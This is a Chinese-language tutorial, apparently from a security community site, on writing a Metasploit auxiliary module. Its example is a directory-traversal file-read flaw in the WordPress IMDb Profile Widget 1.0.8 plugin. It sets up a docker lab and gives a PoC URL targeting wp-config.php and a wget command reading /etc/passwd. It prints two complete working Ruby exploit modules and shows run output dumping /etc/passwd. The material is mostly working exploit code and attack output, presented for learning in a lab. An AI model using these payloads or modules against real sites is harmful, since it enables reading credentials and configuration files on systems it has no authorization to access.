Metasploit——滲透測試神器,相信大家應該都用過或聽過,drops里也有很多白帽子寫過相關的文章,介紹如何使用Metasploit。使用過Metasploit的同學應該知道,Metasploit Framework是高度模塊化的,即框架是由多個module組成,我們除了可以使用已有的 module,還可以自行編寫module來滿足自己的需求,模塊化使得框架具有很好的可擴展性,這也是為什么Metasploit Framework這么受歡迎的原因之一。
看了看drops之前的文章,好像沒人寫過關于如何編寫 Metasploit Module,剛好最近在搗鼓Metasploit,順便復習下快遺忘的ruby,記錄下自己學習的過程。
因為是入門篇,所以這里以一個非常簡單WordPress Plugin的任意文件讀取漏洞作為例子,搭建環境,編寫自己的Auxiliary module(輔助模塊),然后測試驗證,介紹編寫自己的 module的步驟和方法。
文中如果有說的不對或不準確的地方,歡迎大家指出~
漏洞環境是一個WordPress 插件imdb-widget 1.0.8版本的任意文件讀取漏洞,缺陷代碼存在于pic.php,代碼:
<?php
header( 'Content-Type: image/jpeg' );
readfile( $_GET["url"] );
PoC:
/wp-content/plugins/imdb-widget/pic.php?url=../../../wp-config.php
因為 Content-Type 被設置成了 image/jpeg,所以訪問后需要點擊另存為文本文件,然后打開就可以獲取到文件內容
可以參考Wordpress Plugin IMDb Profile Widget 1.0.8 - Local File Inclusion
環境搭建包括兩部分
Metasploit
這里使用 Kali 2.0,自帶Metasploit,比較方便,下載Prebuilt Kali Linux VirtualBox Images,導入VirtualBox就可以用,這里就不細說了
WordPress 插件漏洞環境
這里使用docker來搭建,操作系統為 Ubuntu 14.04,docker的安裝大家可以 google下
拉取 WordPress image
docker pull wordpress:4.4.2
拉取 Mysql image
docker pull mysql:5.7.11
拉取過程可能會比較慢,可以裝個Shadow(socks)和proxychains,再proxychains docker pull
啟動 mysql container
docker run -d -p 3306:3306 --name mysql -e MYSQL_ROOT_PASSWORD=root mysql:5.7.11
啟動 wordpress container
docker run -d --name wordpress --link mysql:mysql -p 80:80 wordpress:4.4.2
訪問
http://127.0.0.1/
根據頁面提示Install就行
接著登錄后臺
http://127.0.0.1/wp-login.php
下載插件imdb-widget有漏洞的1.0.8版本,點擊左邊導航欄的 插件 - 安裝插件 - 上傳插件,選擇剛才下載的zip包,點現在安裝 - 啟用插件
然后點擊 外觀 - 小工具,把左邊的 IMDb Profile 拖到 掛件區域的第一個位置,點開設置User id,隨便填一個如ur1
,Show 隨便勾選幾個,點保存。主頁刷新就可以看到了
測試漏洞,執行如下命令,就可以看到 /etc/passwd
的內容
wget -O result.txt http://127.0.0.1/wp-content/plugins/imdb-widget/pic.php?url=../../../../../../../../../etc/passwd
cat result.txt
...
編寫之前先簡單介紹一些概念相關的東西
Metasploit中的 Module Tree 分為兩種,Primary Module Tree
和 User-Specified Module Tree
,前者用于放框架自帶的module,后者用于放自己寫的module.
Primary Module Tree在目錄 /usr/share/metasploit-framework/modules/
下
User-Specified Module Tree 在 ~/.msf7/modules/
(官網寫的是~/.msf4/modules/)
Module的分類包括6種:
drwxr-xr-x 20 root root 4.0K Jan 28 05:38 auxiliary
drwxr-xr-x 11 root root 4.0K Jan 28 05:38 encoders
drwxr-xr-x 18 root root 4.0K Jan 28 05:38 exploits
drwxr-xr-x 9 root root 4.0K Jan 28 05:38 nops
drwxr-xr-x 5 root root 4.0K Jan 28 05:38 payloads
drwxr-xr-x 11 root root 4.0K Jan 28 05:38 post
根據官網的介紹,翻譯過來大概意思是:
auxiliary
:輔助模塊,不帶有payload的exploit,比如一些掃描模塊
payloads
:遠程運行的代碼,比如反彈shell的代碼
exploits
:帶有payload的exploit
encoders
:用于對payload進行編碼
nops
:保持paload大小的一致性
post
: 獲取權限后,用于后續滲透階段的模塊
因為任意讀取漏洞是用于獲取信息的,并不能直接獲取系統權限,即不帶有 payload ,因此我們要編寫的module是屬于auxiliary分類下的。
編寫之前,我們來分析下任意文件讀取漏洞auxiliary module需要完成的功能,簡單來說:
注:這里檢查插件是否存在,應該由另一個module來完成,這里只負責檢測插件是否存在漏洞
分析完后,就得開始寫module了,那么這里有兩種方法:
這里推薦第二種,比較適合我這種新手,有參考,寫起來也容易些,那么如何找到可以參考的module呢?莫慌~
打開msfconsole
,因為是文件讀取,可以先search wordpress然后再找 read 關鍵詞,在msfconsole
中執行
msf > grep "read" search wordpress
找到如下幾個module
auxiliary/scanner/http/wp_dukapress_file_read normal WordPress DukaPress Plugin File Read Vulnerability
auxiliary/scanner/http/wp_gimedia_library_file_read normal WordPress GI-Media Library Plugin Directory Traversal Vulnerability
auxiliary/scanner/http/wp_imdb_profile_widget_file_read normal WordPress IMDb Profile Widget Plugin File Read Vulnerability
auxiliary/scanner/http/wp_mobileedition_file_read normal WordPress Mobile Edition File Read Vulnerability
auxiliary/scanner/http/wp_nextgen_galley_file_read normal WordPress NextGEN Gallery Directory Read Vulnerability
auxiliary/scanner/http/wp_simple_backup_file_read normal WordPress Simple Backup File Read Vulnerability
auxiliary/scanner/http/wp_subscribe_comments_file_read normal WordPress Subscribe Comments File Read Vulnerability
這里選擇auxiliary/scanner/http/wp_dukapress_file_read
,具體文件位于/usr/share/metasploit-framework/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb
代碼如下:
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress DukaPress Plugin File Read Vulnerability',
'Description' => %q{
This module exploits a directory traversal vulnerability in WordPress Plugin
"DukaPress" version 2.5.2, allowing to read arbitrary files with the
web server privileges.
},
'References' =>
[
['EDB', '35346'],
['CVE', '2014-8799'],
['WPVDB', '7731'],
['OSVDB', '115130']
],
'Author' =>
[
'Kacper Szurek', # Vulnerability discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
], self.class)
end
def check
check_plugin_version_from_readme('dukapress', '2.5.7')
end
def run_host(ip)
traversal = "../" * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ /^\//
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'dukapress', 'lib', 'dp_image.php'),
'vars_get' =>
{
'src' => "#{traversal}#{filename}"
}
})
if res && res.code == 200 && res.body.length > 0
print_status('Downloading file...')
print_line("\n#{res.body}")
fname = datastore['FILEPATH']
path = store_loot(
'dukapress.file',
'text/plain',
ip,
res.body,
fname
)
print_good("#{peer} - File saved in: #{path}")
else
print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.")
end
end
end
看到這一堆代碼,一般人都會有點暈,不知道從那里下手,莫慌,問google,搜索metasploit write module
,搜索結果第三個,How to get started with writing an exploit,里面有一些module結構的說明. 這里對照著給了代碼加了些注釋:
# 引入msf core 庫
require 'msf/core'
# 繼承 Msf::Auxiliary 類
class Metasploit3 < Msf::Auxiliary
# 引入三個 module,具體可以查看文檔
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
# 初始化函數
def initialize(info = {})
super(update_info(info,
# [Vendor] [Software] [Root Cause] [Vulnerability type]
'Name' => 'WordPress DukaPress Plugin File Read Vulnerability',
# 描述
'Description' => %q{
This module exploits a directory traversal vulnerability in WordPress Plugin
"DukaPress" version 2.5.2, allowing to read arbitrary files with the
web server privileges.
},
# 相關vulnerability 或 exploit的參考
'References' =>
[
['EDB', '35346'],
['CVE', '2014-8799'],
['WPVDB', '7731'],
['OSVDB', '115130']
],
# 作者
'Author' =>
[
'Kacper Szurek', # Vulnerability discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE
))
# 注冊需要參數
register_options(
[
# 要獲取的文件路徑
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
# 遍歷深度,用于到達根目錄,默認7次../
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
], self.class)
end
# 用于支持 check 命令;在具體執行exploit前,檢查是否存在漏洞
def check
# 檢查dukapress版本,Wordpress module提供
check_plugin_version_from_readme('dukapress', '2.5.7')
end
def run_host(ip)
traversal = "../" * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ /^\//
# 發送http請求
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'dukapress', 'lib', 'dp_image.php'),
'vars_get' =>
{
'src' => "#{traversal}#{filename}"
}
})
# 檢查響應
if res && res.code == 200 && res.body.length > 0
print_status('Downloading file...')
print_line("\n#{res.body}")
fname = datastore['FILEPATH']
# 保存文件
path = store_loot(
'dukapress.file',
'text/plain',
ip,
res.body,
fname
)
print_good("#{peer} - File saved in: #{path}")
else
print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.")
end
end
end
弄懂大概結構后,我們根據前面的分析,編寫自己的module,完成后的代碼如下
#
This module requires Metasploit: http://metasploit.com/download
Current source: https://github.com/rapid7/metasploit-framework
#
# 引入msf core 庫
require 'msf/core'
# 繼承 Msf::Auxiliary 類
class Metasploit3 < Msf::Auxiliary
# 引入三個 module,照搬,具體可以查看文檔
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
# 初始化函數
def initialize(info = {})
super(update_info(info,
# [Vendor] [Software] [Root Cause] [Vulnerability type]
'Name' => 'WordPress IMDb Profile Widget Plugin File Read Vulnerability',
# 描述
'Description' => %q{
This module exploits a directory traversal vulnerability in WordPress Plugin
"IMDb Profile Widget" version 1.0.8, allowing to read arbitrary files with the
web server privileges.
},
# 相關vulnerability 或 exploit的參考
'References' =>
[
['URL', 'https://www.exploit-db.com/exploits/39621/']
],
# 作者
'Author' =>
[
'CrashBandicot @DosPerl', # Vulnerability discovery
'blinking.yan <blinking.yan[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE
))
# 注冊需要參數
register_options(
[
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
], self.class)
end
# 用于支持 check 命令;在具體執行exploit前,檢查是否存在漏洞
def check
# 檢查imdb-widget版本
check_plugin_version_from_readme('imdb-widget', '1.0.8')
end
# 執行exploit
def run_host(ip)
traversal = "../" * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ /^\//
# 發送讀取文件的http請求
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'imdb-widget', 'pic.php'),
'vars_get' =>
{
'url' => "#{traversal}#{filename}"
}
})
# 檢查響應
if res && res.code == 200 && res.body.length > 0
# 文件不存在
if res.body.include? 'No such file or directory'
print_error("#{peer} - Nothing was downloaded. No such file or directory: /#{filename}. Please change the DEPTH parameter.")
# 文件讀取權限問題
elsif res.body.include? 'Permission denied'
print_error("#{peer} - Nothing was downloaded. Permission denied: /#{filename}. Please change the DEPTH parameter.")
else
print_status('Downloading file...')
print_line("\n#{res.body}")
fname = datastore['FILEPATH']
# 保存文件
path = store_loot(
'imdb-widget.file',
'text/plain',
ip,
res.body,
fname
)
print_good("#{peer} - File saved in: #{path}")
end
else
print_error("#{peer} - Http Response Code is not 200 or Plugin is not vulnerable")
end
end
end
可以看到,改動的地方并不是很多。
因此我們并不需要弄懂所有的類和方法,也可以寫出自己的module。
代碼中發送http請求部分可以參考:How to Send an HTTP Request Using HTTPClient
前面提到,msf有專門的目錄~/.msf7/modules/
來存放自己編寫的module,這里對照著auxiliary/scanner/http/wp_dukapress_file_read
,創建目錄
mkdir -p ~/.msf7/modules/auxiliary/scanner/http/
將代碼保存~/.msf7/modules/auxiliary/scanner/http/
目錄下,文件名為wp_imdb_profile_widget_file_read.rb
,重啟msfconsole,加載自定義module,執行
msfconsole -m ~/.msf7/modules
查看下插件是否已經被load
msf > grep "imdb" search wordpress
auxiliary/scanner/http/wp_imdb_profile_widget_file_read normal WordPress IMDb Profile Widget Plugin File Read Vulnerability
對前面的漏洞環境進行測試,這里wordpress的ip為192.168.1.191
msf > use auxiliary/scanner/http/wp_imdb_profile_widget_file_read
msf auxiliary(wp_imdb_profile_widget_file_read) > show options
Module options (auxiliary/scanner/http/wp_imdb_profile_widget_file_read):
Name Current Setting Required Description
---
DEPTH 7 yes Traversal Depth (to reach the root folder)
FILEPATH /etc/passwd yes The path to the file to read
Proxies no A proxy chain of format type:host:port,type:host:port
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
TARGETURI / yes The base path to the wordpress application
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
msf auxiliary(wp_imdb_profile_widget_file_read) > set rhosts 192.168.1.191
rhosts => 192.168.1.191
msf auxiliary(wp_imdb_profile_widget_file_read) > run
[*] Downloading file...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
[+] 192.168.1.191:80 - File saved in: /root/.msf7/loot/20160403132842default192.168.1.191imdbwidget.file266865.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(wp_imdb_profile_widget_file_read) >
成功讀取到/etc/passwd,測試成功~
文章主要介紹的是如何去編寫module的方法,有的地方可能寫的不是很詳細。總結來說就是: 在接觸一個新的東西時,參考別人已經寫好的東西,然后修修改改,是一種很好快速入門的方法。